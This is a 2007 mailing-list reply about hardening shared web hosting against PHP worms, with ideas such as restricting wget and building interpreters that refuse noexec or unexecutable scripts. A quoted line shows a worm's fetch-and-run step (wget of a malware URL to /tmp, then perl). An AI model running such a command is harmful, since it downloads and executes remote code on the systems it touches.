Print

Print


On Tue, 2 Jan 2007, Arthur Sherman wrote:

>> Thats good practice, but won't stop things like PHP worms which
>> effectively do:
>>
>> wget -O /tmp/a $malwareurl
>> perl /tmp/a
>
> Unless you chmod 0700 wget

:) Or rename it.  But that only stops the stupid.  If they do the "wget" 
internally in PHP or are smart enough to try other things (lynx, elinks, 
curl, etc.) on failure they may still get the content onto your server.

I'd kind of like to see shared hosting hardened interpreters that refuse 
to run scripts if they

1) are on a partition mounted noexec
2) don't have the executable bits set
3) are owned by certain UIDs

Anyone know if thats already been done?

----------------------------------------------------------------------
  Jon Lewis                   |  I route
  Senior Network Engineer     |  therefore you are
  Atlantic Net                |
_________ http://www.lewis.org/~jlewis/pgp for PGP public key_________